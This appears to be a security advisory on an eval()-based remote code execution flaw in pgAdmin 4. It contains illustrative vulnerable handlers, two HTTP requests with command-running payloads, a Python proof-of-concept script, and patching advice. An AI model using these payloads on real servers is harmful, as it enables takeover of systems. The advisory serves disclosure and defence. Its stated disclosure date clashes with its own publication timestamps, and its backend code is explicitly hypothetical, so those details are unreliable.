Date Disclosed: June 2024
Affected Product: pgAdmin 4 (up to version 9.1)
Risk: Critical (Remote Code Execution)
Attack Vectors: Query Tool and Cloud Deployment modules (/sqleditor/query_tool/download, /cloud/deploy)
Overview
A dangerous Remote Code Execution (RCE) vulnerability, CVE-2025-2945, has been discovered in pgAdmin 4 versions before 9.2. If you run pgAdmin 4 for PostgreSQL administration, update it now!
This flaw lets an attacker run any code on the pgAdmin server by sending malicious values to two POST endpoints. This article breaks down how the bug works, how to exploit it, and how to stay protected.
Root Cause
In pgAdmin’s backend Python code, two endpoints—used for downloading query results and managing cloud deployments—unsafe handle user inputs:
- /sqleditor/query_tool/download (parameter: query_commited)
- /cloud/deploy (parameter: high_availability)
pgAdmin’s old code directly passes these parameters into Python’s eval() function. That means, if attackers sneak in evil Python code, the server just… runs it.
Spoiler: That’s game over for server security.
With a vulnerable pgAdmin 4, a hacker can
- Gain full control of the pgAdmin server (read/write files, open backdoors)
Suppose the backend code looks like this
# In /sqleditor/query_tool/download handler:
def download_results(request):
...
user_query = request.POST.get('query_commited')
# UNSAFE! Direct eval() of user-supplied string:
result = eval(user_query)
...
# In /cloud/deploy handler:
def deploy_cloud(request):
...
ha_param = request.POST.get('high_availability')
# UNSAFE! Direct eval() of user-supplied string:
res = eval(ha_param)
...
Against /sqleditor/query_tool/download
POST /sqleditor/query_tool/download HTTP/1.1
Host: vulnerable-pgadmin:505
Content-Type: application/x-www-form-urlencoded
query_commited=__import__('os').system('touch /tmp/pwned_by_cve_2025_2945')
This creates a file /tmp/pwned_by_cve_2025_2945 on the server—proof of code execution!
Against /cloud/deploy
POST /cloud/deploy HTTP/1.1
Host: vulnerable-pgadmin:505
Content-Type: application/x-www-form-urlencoded
high_availability=__import__('subprocess').check_output('uname -a',shell=True)
This command runs uname -a on the server and (depending on how output is handled) could leak the server OS/version info.
Here is a simple Python PoC that demonstrates exploitation
import requests
target = 'http://vulnerable-pgadmin:505';
payload = "__import__('os').system('id > /tmp/rce_poc')"
# Exploit /sqleditor/query_tool/download
r = requests.post(f"{target}/sqleditor/query_tool/download", data={"query_commited": payload})
print("Check /tmp/rce_poc on the server for proof of RCE!")
Mitigation
- Upgrade to pgAdmin 4 v9.2 or later – patch released: pgAdmin Release Notes
Timeline & References
- pgAdmin Security Advisories
- Official Release Notes 9.2
- Common Vulnerabilities and Exposures *(may not be live immediately)*
Conclusion
CVE-2025-2945 is as bad as it gets for a web application RCE. If your org runs pgAdmin 4—especially for cloud-managed PostgreSQL—patch now and comb your servers for compromise. Never trust user input in eval()—it leads directly to server takeover.
> Stay updated, admin safe, and always double-check what code gets eval’d!
Original, exclusive breakdown by your AI security reporter.
If you need more technical details or help with patching, consult pgAdmin docs or contact your security team.
Timeline
Published on: 04/03/2025 13:15:43 UTC
Last modified on: 04/07/2025 14:18:34 UTC